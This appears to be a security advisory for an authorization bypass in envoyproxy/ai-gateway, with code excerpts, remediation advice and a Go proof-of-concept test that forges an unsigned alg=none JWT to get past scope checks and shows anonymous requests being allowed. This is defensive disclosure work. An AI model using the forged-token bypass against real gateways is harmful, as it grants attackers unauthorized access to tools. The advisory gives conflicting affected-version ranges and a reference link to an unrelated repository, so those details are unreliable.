# GHSA-Q522-4F3C-H4G8: envoyproxy/ai-gateway authorization bypass

- Database: GitHub
- Severity: CVSS 6.5 (Medium)
- Published: 2026-10-07
- Modified: 2026-10-07

## Affected versions

- github.com/envoyproxy/ai-gateway (Go): through 1.1.0

## Description

### Summary

The Envoy AI Gateway controller installs the MCP authorization layer (`MCPRoute.Spec.SecurityPolicy.Authorization`) into the data-plane filter configuration whenever `Authorization` is non-nil — independent of whether the operator also configured `SecurityPolicy.OAuth`. The corresponding runtime filter (`internal/mcpproxy/authorization.go`) extracts JWT claims and scopes via `jwt.ParseUnverified()`, relying on an inline comment-level assumption that "JWT verification is performed by Envoy before reaching here." That assumption is only true when the controller also generated a `jwt_authn` provider — which it only does when `SecurityPolicy.OAuth` is set. The two pieces of configuration are silently decoupled, so an operator who configures authorization rules without OAuth produces an MCP route that:

1. Accepts requests with **no `Authorization` header** at all (the runtime continues past the missing-token error path with an empty scope set and empty claim set).
2. Accepts requests with a **forged `alg=none` JWT** carrying any attacker-chosen scopes and claims.

The defense-in-depth gap exists even when OAuth is configured if the upstream `envoy.filters.http.jwt_authn` provider permits `allow_missing` or `allow_failed`, because the MCP filter never re-validates.

### Details

#### Two-part root cause

**Part 1 — Controller wires authorization rules irrespective of OAuth.**

`internal/controller/gateway.go:563-621`:

```go
// Add authorization configuration for the route.
if route.Spec.SecurityPolicy != nil && route.Spec.SecurityPolicy.Authorization != nil {
    authorization := route.Spec.SecurityPolicy.Authorization
    mcpRoute.Authorization = &filterapi.MCPRouteAuthorization{}

    if route.Spec.SecurityPolicy.OAuth != nil {
        mcpRoute.Authorization.ResourceMetadataURL = buildResourceMetadataURL(&route.Spec.SecurityPolicy.OAuth.ProtectedResourceMetadata)
    }

    defaultAction := ptr.Deref(authorization.DefaultAction, egv1a1.AuthorizationActionDeny)
    mcpRoute.Authorization.DefaultAction = filterapi.AuthorizationAction(defaultAction)
    // ... rules installed unconditionally ...
}
```

The `route.Spec.SecurityPolicy.OAuth != nil` check is used only to populate one optional metadata URL. The authorization rules are installed regardless. There is no controller-side error returned, no condition set on the CR, and no admission webhook check that says "Authorization requires OAuth" or "Authorization requires APIKeyAuth/ExtAuth."

Meanwhile, the JWT validation filter is only generated when OAuth is configured (`internal/controller/mcp_route_security_policy.go:110-156`):

```go
// Configure JWT authentication to validate access tokens if OAuth is enabled.
if oauth := mcpRoute.Spec.SecurityPolicy.OAuth; oauth != nil {
    // ... build egv1a1.SecurityPolicySpec.JWT provider ...
}
```

So an MCPRoute with `Authorization` and no `OAuth` block produces an MCP filter that **expects** JWT-validated requests but has no upstream filter doing that validation.

**Part 2 — Runtime filter trusts the (sometimes-nonexistent) upstream JWT layer.**

`internal/mcpproxy/authorization.go:117-202`:

```go
func (m *mcpRequestContext) authorizeRequest(authorization *compiledAuthorization, req *authorizationRequest) (bool, []string) {
    if authorization == nil {
        return true, nil
    }
    defaultAction := authorization.DefaultAction == filterapi.AuthorizationActionAllow
    if len(authorization.Rules) == 0 {
        return defaultAction, nil
    }

    scopeSet := sets.New[string]()       // ← starts EMPTY
    claims := jwt.MapClaims{}             // ← starts EMPTY

    token, err := bearerToken(req.Headers.Get("Authorization"))
    // This is just a sanity check. The actual JWT verification is performed by Envoy before reaching here, and the token
    // should always be present and valid.
    if err != nil {
        m.l.Info("missing or invalid bearer token", slog.String("error", err.Error()))
        // ← FAILS OPEN: logs and continues with empty scopeSet and claims
    } else {
        // JWT verification is performed by Envoy before reaching here. So we only need to parse the token without verification.
        if _, _, err := jwt.NewParser().ParseUnverified(token, claims); err != nil {
            m.l.Info("failed to parse JWT token", slog.String("error", err.Error()))
        } else {
            scopeSet = sets.New(extractScopes(claims)...)
            // ... claims accepted from unverified token ...
        }
    }
    // ... rule loop uses (possibly-empty, possibly-attacker-controlled) claims and scopeSet ...
}
```

Both code paths (missing token, parse failure) log an info-level message and continue. The comment ("token should always be present and valid") accurately describes the design intent but does not enforce it.

#### Exploitable misconfigurations

**Scenario A — operator wrote "default allow with deny rules":**

```yaml
apiVersion: aigateway.envoyproxy.io/v1beta1
kind: MCPRoute
spec:
  securityPolicy:
    # NOTE: no OAuth block
    authorization:
      defaultAction: Allow
      rules:
        - action: Deny
          target:
            tools:
              - { backend: backend1, tool: dangerous-tool }
          source:
            jwt:
              scopes: ["admin"]   # operator thinks this gates dangerous-tool to admins
```

The intent is "anyone can call safe tools; only admins can call dangerous-tool." The realized behavior:
- Anonymous request → `bearerToken` errors → `scopeSet` empty → Deny rule's scope requirement not satisfied → rule skipped → falls through to `DefaultAction: Allow` → **dangerous-tool executes for an anonymous attacker**.

**Scenario B — operator wrote "default deny with scope-gated allow rules":**

```yaml
spec:
  securityPolicy:
    # NOTE: no OAuth block
    authorization:
      defaultAction: Deny
      rules:
        - action: Allow
          source:
            jwt:
              scopes: ["mcp.admin"]
```

The intent is "admins only." The realized behavior:
- Attacker mints a JWT with `alg=none` and `scope: ["mcp.admin"]` → `ParseUnverified` extracts the scope → rule matches → **request allowed**.

Both scenarios are demonstrated by the PoC tests below.

### PoC

File: `internal/mcpproxy/authorization_poc_failopen_test.go` (new test file, 3 tests, all PASS deterministically; no live cluster, no live OIDC issuer required).

Reproduction:

```bash
git clone https://github.com/envoyproxy/ai-gateway
cd ai-gateway
# Copy the test file (content below) to internal/mcpproxy/authorization_poc_failopen_test.go
go test ./internal/mcpproxy/ -run TestPoCMCPAuthz -v
```

Expected output (verified on the upstream main as of 2026-05-23):

```
=== RUN   TestPoCMCPAuthz_AnonymousBypass_DefaultAllow
--- PASS: TestPoCMCPAuthz_AnonymousBypass_DefaultAllow (0.00s)
=== RUN   TestPoCMCPAuthz_ForgedScopeBypass
--- PASS: TestPoCMCPAuthz_ForgedScopeBypass (0.00s)
=== RUN   TestPoCMCPAuthz_NegativeControl_DenyHoldsWithoutScopes
--- PASS: TestPoCMCPAuthz_NegativeControl_DenyHoldsWithoutScopes (0.00s)
PASS
```

The full PoC test file source is inlined in **Appendix A** at the end of this report.

### Affected products

For the GHSA "Affected products" form fields:

| Field | Value |
|---|---|
| Ecosystem | `Go` |
| Package name | `github.com/envoyproxy/ai-gateway` |
| Affected versions | `<= 0.6.0` |
| Patched versions | _(leave blank — no patch released)_ |

### Affected versions (narrative)

`envoyproxy/ai-gateway` main branch as of commit timestamp 2026-05-23 (commit `3b98ccb`). The pattern is present in both `v1alpha1` and `v1beta1` API surfaces. The `internal/mcpproxy` package is the runtime filter; the `internal/controller` package is the controller.

### Suggested remediation

Two independent fixes; either alone closes the bug, but both are recommended for defense in depth.

**Fix 1 (controller, preferred):** Reject an `MCPRoute` whose `SecurityPolicy.Authorization` is set without at least one authentication mechanism (`OAuth`, `APIKeyAuth`, or `ExtAuth`). Either:
- Return an error from `syncMCPRouteSecurityPolicy()` and set a `False` condition on the MCPRoute status, OR
- Add a `ValidatingAdmissionWebhook` rejecting the CR at admission time.

**Fix 2 (runtime, defense in depth):** In `authorization.go:117-202`, when `bearerToken` returns an error or `ParseUnverified` fails, return `(false, nil)` immediately if any rule has a non-nil `Source.JWT`. Equivalent: do not fall through to `defaultAction` when JWT-bound rules exist and no JWT was supplied. Optionally: when `Source == nil` on every rule AND `DefaultAction == Allow`, require an explicit operator opt-in (a `MCPRoute.Spec.SecurityPolicy.Authorization.AllowAnonymous bool`) before the route accepts unauthenticated traffic.

**Fix 3 (documentation):** Remove the misleading comment on `authorization.go:133-135`. The text ("the token should always be present and valid") is not enforced and creates a false sense of safety for code reviewers.

### References

- [PoC test source](#appendix-a) below
- Source paths referenced:
  - `internal/controller/gateway.go:563-621` (authorization rules installed unconditionally)
  - `internal/controller/mcp_route_security_policy.go:110-156` (JWT provider only generated when OAuth set)
  - `internal/mcpproxy/authorization.go:117-202` (`authorizeRequest` fail-open paths)
- Envoy project threat model: https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/security/threat_model — multi-tenant carve-out applies here: "operator hosts multiple tenants ... we expect that Envoy is resilient against the risks posed by malicious configuration from a confidentiality, integrity and availability perspective."
- Disclosure policy: `envoyproxy/ai-gateway/SECURITY.md`. This report is being submitted via the GitHub Security Advisories form on `envoyproxy/ai-gateway`.

---

## What we deliberately did NOT do

- No live cluster exploitation. All verification is via deterministic unit tests against the controller-runtime and JWT library APIs in the upstream repo.
- No PR submitted upstream. The remediation suggestions in this report are intentionally generic.
- No public discussion or social-media post.
- No CVE request — leaving that to MITRE assignment by the Envoy PST.
- No exfiltration of any real cluster's MCP tool data; PoC uses synthetic backends/tools/scopes.

---

## Appendix A — PoC test file content

Path inside upstream repo: `internal/mcpproxy/authorization_poc_failopen_test.go`

```go
// PoC: MCP authorization fails open when MCPRoute.Spec.SecurityPolicy.Authorization
// is set without a corresponding OAuth/JWT validation block.
//
// Root cause (two-part):
//   1. internal/controller/gateway.go:563-621 installs the authorization rules
//      into the MCP filter config whenever route.Spec.SecurityPolicy.Authorization
//      is non-nil — regardless of whether route.Spec.SecurityPolicy.OAuth is set.
//   2. internal/mcpproxy/authorization.go:117-202 uses jwt.ParseUnverified to extract
//      claims, with an inline comment ("JWT verification is performed by Envoy
//      before reaching here ... the token should always be present and valid")
//      that is only true if (1) the operator configured OAuth.
//
// Result: a misconfigured MCPRoute (Authorization rules set, OAuth unset) installs
// an authorization layer that accepts:
//   - Anonymous requests (no Authorization header)
//   - Forged JWTs (alg=none, arbitrary scopes/claims)
// Both behaviors are demonstrated below.

package mcpproxy

import (
	"io"
	"log/slog"
	"net/http"
	"testing"

	"github.com/golang-jwt/jwt/v5"
	"github.com/stretchr/testify/require"
	"k8s.io/utils/ptr"

	"github.com/envoyproxy/ai-gateway/internal/filterapi"
)

// TestPoCMCPAuthz_AnonymousBypass_DefaultAllow proves an MCPRoute with
// DefaultAction:Allow + Authorization rules but NO OAuth block accepts
// completely unauthenticated requests.
//
// This is the failure mode for a misconfigured operator who writes "deny
// dangerous tools, allow everything else" without realizing Allow-by-default
// is only safe when paired with mandatory JWT validation.
func TestPoCMCPAuthz_AnonymousBypass_DefaultAllow(t *testing.T) {
	logger := slog.New(slog.NewTextHandler(io.Discard, nil))
	proxy := &mcpRequestContext{ProxyConfig: &ProxyConfig{l: logger}}

	auth := &filterapi.MCPRouteAuthorization{
		// DefaultAction: Allow simulates operator who intended "allow most,
		// deny dangerous", relying on later Deny rules. (Equivalent failures
		// occur with DefaultAction: Deny + any Allow rule lacking a JWT Source.)
		DefaultAction: filterapi.AuthorizationActionAllow,
		Rules: []filterapi.MCPRouteAuthorizationRule{
			{
				Action: filterapi.AuthorizationActionDeny,
				Target: &filterapi.MCPAuthorizationTarget{
					Tools: []filterapi.ToolCall{{Backend: "backend1", Tool: "dangerous-tool"}},
				},
				Source: &filterapi.MCPAuthorizationSource{
					JWT: filterapi.JWTSource{Scopes: []string{"admin"}},
				},
			},
		},
	}
	compiled, err := compileAuthorization(auth)
	require.NoError(t, err)

	// Anonymous request — NO Authorization header at all.
	allowed, _ := proxy.authorizeRequest(compiled, &authorizationRequest{
		Backend: "backend1",
		Tool:    "any-tool",
		Headers: http.Header{}, // no Authorization header
	})
	require.True(t, allowed,
		"CONFIRMED: anonymous request reached an MCP tool via DefaultAction:Allow with no JWT layer enforced")
	t.Log("CONFIRMED: defense-in-depth gap — MCP authz accepts unauthenticated request when OAuth is not configured")
}

// TestPoCMCPAuthz_ForgedScopeBypass proves a forged alg=none JWT carrying
// attacker-chosen scopes bypasses a scope-gated Allow rule.
//
// Failure mode: operator writes DefaultAction:Deny + scope-gated Allow rules,
// believing JWT scopes are trustworthy because "Envoy validated the token".
// If OAuth is not wired (or jwt_authn is permissive), the attacker controls
// the scopes.
func TestPoCMCPAuthz_ForgedScopeBypass(t *testing.T) {
	logger := slog.New(slog.NewTextHandler(io.Discard, nil))
	proxy := &mcpRequestContext{ProxyConfig: &ProxyConfig{l: logger}}

	// Attacker mints an alg=none JWT with the required scope.
	forged := jwt.NewWithClaims(jwt.SigningMethodNone, jwt.MapClaims{
		"sub":   "evil-attacker",
		"scope": []string{"mcp.admin", "mcp.write"},
	})
	signed, err := forged.SignedString(jwt.UnsafeAllowNoneSignatureType)
	require.NoError(t, err)

	auth := &filterapi.MCPRouteAuthorization{
		DefaultAction: filterapi.AuthorizationActionDeny,
		Rules: []filterapi.MCPRouteAuthorizationRule{
			{
				Action: filterapi.AuthorizationActionAllow,
				Source: &filterapi.MCPAuthorizationSource{
					JWT: filterapi.JWTSource{Scopes: []string{"mcp.admin"}},
				},
			},
		},
	}
	compiled, err := compileAuthorization(auth)
	require.NoError(t, err)

	allowed, _ := proxy.authorizeRequest(compiled, &authorizationRequest{
		Backend: "backend1",
		Tool:    "any-tool",
		Headers: http.Header{"Authorization": []string{"Bearer " + signed}},
	})
	require.True(t, allowed,
		"CONFIRMED: forged alg=none JWT with attacker-chosen scope[\"mcp.admin\"] bypassed Deny default")
	t.Log("CONFIRMED: defense-in-depth gap — MCP authz extracts scopes via ParseUnverified from an unsigned attacker token")
}

// TestPoCMCPAuthz_NegativeControl_DenyHoldsWithoutScopes proves the test
// infrastructure is sound: when no token is present AND DefaultAction:Deny,
// the request is correctly rejected.
func TestPoCMCPAuthz_NegativeControl_DenyHoldsWithoutScopes(t *testing.T) {
	logger := slog.New(slog.NewTextHandler(io.Discard, nil))
	proxy := &mcpRequestContext{ProxyConfig: &ProxyConfig{l: logger}}

	auth := &filterapi.MCPRouteAuthorization{
		DefaultAction: filterapi.AuthorizationActionDeny,
		Rules: []filterapi.MCPRouteAuthorizationRule{
			{
				Action: filterapi.AuthorizationActionAllow,
				Source: &filterapi.MCPAuthorizationSource{
					JWT: filterapi.JWTSource{Scopes: []string{"mcp.admin"}},
				},
			},
		},
	}
	compiled, err := compileAuthorization(auth)
	require.NoError(t, err)

	allowed, requiredScopes := proxy.authorizeRequest(compiled, &authorizationRequest{
		Backend: "backend1",
		Tool:    "any-tool",
		Headers: http.Header{}, // no auth header at all
	})
	require.False(t, allowed,
		"Negative control: anonymous request correctly rejected when DefaultAction:Deny and rules require scopes")
	require.NotEmpty(t, requiredScopes,
		"Negative control: requiredScopesForChallenge populated for WWW-Authenticate challenge")
	// Use ptr to suppress unused-import lint if ptr ends up unreferenced elsewhere.
	_ = ptr.To[int](0)
}
```

## References

- https://github.com/theagentrouter/agent-router/security/advisories/GHSA-q522-4f3c-h4g8

Page: https://cve.now/GHSA-Q522-4F3C-H4G8

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
